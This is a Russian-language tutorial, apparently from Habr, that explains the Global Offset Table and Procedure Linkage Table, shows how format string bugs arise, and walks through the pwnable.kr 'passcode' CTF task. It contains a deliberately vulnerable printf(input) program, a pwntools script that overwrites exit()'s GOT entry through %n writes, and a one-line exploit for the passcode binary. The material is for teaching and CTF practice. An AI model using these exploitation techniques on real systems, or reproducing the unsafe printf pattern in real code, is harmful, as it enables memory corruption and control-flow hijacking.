В данной статье разберем: что такое глобальная таблица смещений, таблицей связей процедур и ее перезапись через уязвимость форматной строки. Также решим 5-е задание с сайта pwnable.kr.
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Глобальная таблица смещений и таблица связи процедур
Динамически связанные библиотеки загружаются из отдельного файла в память во время загрузки или во время выполнения. И, следовательно, их адреса в памяти не являются фиксированными, чтобы избежать конфликтов памяти с другими библиотеками. Кроме того, механизм безопасности ASLR, будет рандомизировать адрес каждого модуля во время загрузки.
Глобальная таблица смещений (GOT — Global Offset Table) — таблица адресов, хранящихся в разделе данных. Она используется во время выполнения программы для поиска адресов глобальных переменных, которые были неизвестны во время компиляции. Эта таблица находится в разделе данных и не используется всеми процессами. Все абсолютные адреса, на которые ссылается секция кода, хранятся в этой таблице GOT. Раздел кода использует относительные смещения для доступа к этим абсолютным адресам. И, таким образом, код библиотеки может совместно использоваться процессами, даже если они загружены в разные адресные пространства памяти.
Таблица связи процедур (PLT — Procedure Linkage Table) содержит код перехода для вызова общих функций, адреса которых хранятся в GOT, т.е PLT содержит адреса, по которым хранятся адреса для данных (адресов) из GOT.
Рассмотрим механизм на примере:
- В коде программы вызывается внешняя функция printf.
- Поток управления переходит на n-ую запись в PLT, причем переход происходит по относительному смещению, а не абсолютному адресу.
- Осуществляется переход на адрес, сохраненный в GOT. Указатель функции, сохраненный в таблице GOT, сначала указывает обратно на фрагмент кода PLT.
- Таким образом, если printf вызывается впервые, то вызывается преобразователь динамического компоновщика для получения фактического адреса целевой функции.
- Адрес printf записывается в таблицу GOT, а затем вызывается printf.
- Если printf вызывается снова в коде, распознаватель больше не будет вызываться, потому что адрес printf уже сохранен в GOT.
При использовании этой отложенной привязки указатели на функции, которые не используются во время выполнения, не разрешаются. Таким образом, это экономит много времени.
Для того, чтобы данный механизм работал, в файле присутствуют следующие секции:
- .got — содержит записи для GOT;
- .рlt — содержит записи для PLT;
- .got.plt — содержит соотношения адресов GOT — PLT;
- .plt.got — содержит соотношения адресов PLT — GOT.
Так как секция .got.plt представляет собой массив указателей и заполняется во время выполнения программы (т.е. в ней разрешена запись), то мы можем перезаписать один и них и контролировать поток выполнения программы.
Строка форматирования
Строка форматирования представляет собой строку с использованием спецификаторов формата. Признаком спецификатора формата является символ “%” (чтобы ввести знак процента используют последовательность “%%”).
pritntf(“output %s 123”, “str”); output str 123
Наиболее важные спецификаторы формата:
- d — десятичное знаковое число, размер по умолчанию, sizeof( int );
- x и X — шестнадцатеричное беззнаковое число, x использует маленькие буквы (abcdef), X большие (ABCDEF), размер по умолчанию sizeof( int );
- s — вывод строки с нулевым завершающим байтом;
- n — количество символов, записанных на момент появления командной последовательности, содержащей n.
Почему возможна уязвимость форматной строки
Данная уязвимость заключается в использовании одной из функций форматного вывода без указания формата (как в следующем примере). Таким образом мы сами можем указывать формат вывода, что приводит к возможности чтения значений из стека, а при указании специального формата, и к записи в память.
Рассмотрим уязвимость на следующем примере:
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> int main(){ char input[100]; printf("Start program!!!\n"); printf("Input: "); scanf("%s", &input); printf("\nYour input: "); printf(input); printf("\n"); exit(0); }
Таким образом, в следующей строке не указан формат вывода.
printf(input);
Скомпилируем программу.
gcc vuln1.c -o vuln -no-pie
Давайте просмотрим значения в стеке, введя строку, содержащую спецификаторы формата.
Таким образом, при вызове printf(input) срабатывает следующий вызов:
printf(“%p-%p-%p-%p-%p“);
Осталось понять что выводит программа. Функция printf имеет несколько аргументов, которые представляют собой данные для форматной строки.
Рассмотрим пример вызова функции со следующими аргументами:
printf(“Number - %d, addres - %08x, string - %s”, a, &b, c);
При вызове данной функции, стек будет выглядеть следующим образом.
Таким образом, функция при обнаружении спецификатора формата извлекает и стека значение. Точно также функция из нашего примера извлечет 5 значений из стека.
Для подтверждения выше сказанного найдем нашу форматную строку в стеке.
При переводе значений из hex-вида получаем строку “%-p%AAAA“. То есть мы смогли достать значения из стека.
Перезапись GOT
Давайте проверим возможность перезаписи GOT через уязвимость форматной строки. Для того давайте зациклим нашу программу, переписав адрес функции exit() на адрес main. Перезаписывать будем с помощью pwntools. Создадим первоначальный макет и повторим предыдущий ввод.
from pwn import * from struct import * ex = process('./vuln') payload = "AAAA%p-%p-%p-%p-%p-%p-%p-%p" ex.sendline(payload) ex.interactive()
Но так как в зависимости от размера введенной строки содержание стека будет разным, сделаем так, чтобы вводимая нагрузка содержала всегда одинаковое количество введенных символов.
payload = ("%p-%p-%p-%p"*5).ljust(64, ”*”)
payload = ("%p-%p-%p-%p").ljust(64, ”*”)
Теперь нам необходимо узнать GOT адрес функций exit(), и адрес функции main. Адрес main найдем с помощью gdb.
GOT адрес exit() можно найти как с помощью gdb, так и с помощью objdump.
objdump -R vuln
Запишем в нашу программу эти адреса.
main_addr = 0x401162 exit_addr = 0x404038
Теперь нужно перезаписать адрес. Для в стек нужно добавить адрес функции exit() и адреса, которые находятся после, т.е. *(exit())+1 и т.д. Добавить его можно с помощью нашей нагрузки.
payload = ("%p-%p-%p-%p-"*5).ljust(64, "*") payload += pack("Q", exit_addr) payload += pack("Q", exit_addr+1)
Запустим и определим, каким по счету отображается адрес.
Данные адреса отображаются на позициях 14 и 15. Вывести значение на определенной позиции можно следующим образом.
payload = ("%14$p").ljust(64, "*")
Перезаписывать адрес будем двумя блоками. Для начала выведем 4 значения так, чтобы на 2-й и 4-й позициях оказались наши адреса.
payload = ("%p%14$p%p%15$p").ljust(64, "*")
Теперь разобьем адрес main() на два блока:
0x401162
1) 0x62 = 98 (пишем по адресу 0x404038)
2) 0x4011 — 0x62 = 16303 (пишем по адресу 0x404039)
Запишем их следующим образом:
payload = ("%98p%14$n%16303p%15$n").ljust(64, '*')
Полный код:
from pwn import * from struct import * start_addr = 0x401162 exit_addr = 0x404038 ex = process('./vuln') payload = ("%98p%14$n%16303p%15$n").ljust(64, '*') payload += pack("Q", exit_addr) payload += pack("Q", exit_addr+1) ex.sendline(payload) ex.interactive()
Таким образом, программа вместо завершения запускается заново. Мы перезаписали адрес exit().
Решение задания passcode
Нажимаем на первую иконку с подписью passcode, и нам говорят, что нужно подключиться по SSH с паролем guest.
При подключении мы видим соотвтствующий баннер.
Давайте узнаем какие файлы есть на сервере, а также какие мы имеем права.
ls -l
Таким образом мы можем можем прочитать исходный код программы, так как есть право читать для всех, и выполнить с правами владельца программу fd (установлен sticky-бит). Давай просмотрим исход код.
В функции login() допущена ошибка. В scanf() вторым аргументам передается не адрес переменной &passcode1, а сама переменная, причем не проинициализированная. Так как переменная еще не проинициализирована, то она содержит не перезаписанный “мусор”, который остался после выполнения прошлых инструкций. То есть scanf() запишет число по адресу, который собой будет представлять остаточные данные.
Таким образом, если до вызова функции login, мы можем получить управление над этой областью памяти, то мы сможем записать любое число по любому адресу (фактически изменить логику программы).
Так как функция login() вызывается сразу после функции welcome(), то они имеют одинаковые адреса стековых кадров.
Давайте проверим, можем ли мы записать данные на место будущего passcode1. Открываем программу в gdb и дизассемблируем функции login() и welcome(). Так как в обоих случаях scanf имеет два параметра, то адрес переменной будет передаваться в функцию первым. Таким образом, адрес переменной passcode1 равен ebp-0x10, а name — ebp-0x70.
Теперь вычислим адрес passcode1 относительно name, при условии одного и того же значения ebp:
(&name) — (&passcode1) = (ebp-0x70) — (ebp-0x10) = -96
&passcode1 == &name + 96
То есть последние 4 байта name — то и есть “мусор”, который будет выступать в качестве адреса для записи в функции login.
В статье мы видели, как можно изменить логику работы приложения, переписав адреса в GOT. Давайте сделаем это и здесь. Так как за scanf() идет flush, то по адресу этой функции в GOT, запишем адрес инструкции вызова функции system() для чтения флага.
То есть по адресу 0x804a004 нужно записать 0x80485e3 в десятичном виде.
python -c "print('A'*96 + '\x04\xa0\x04\x08' + str(0x080485e3))" | ./passcode
Как результат, получаем 10 очков, пока что это самое сложное задание.
Файлы к данной статье прикреплены в Telegram канале. До встречи в следующих статьях!
ссылка на оригинал статьи https://habr.com/ru/post/460647/
Добавить комментарий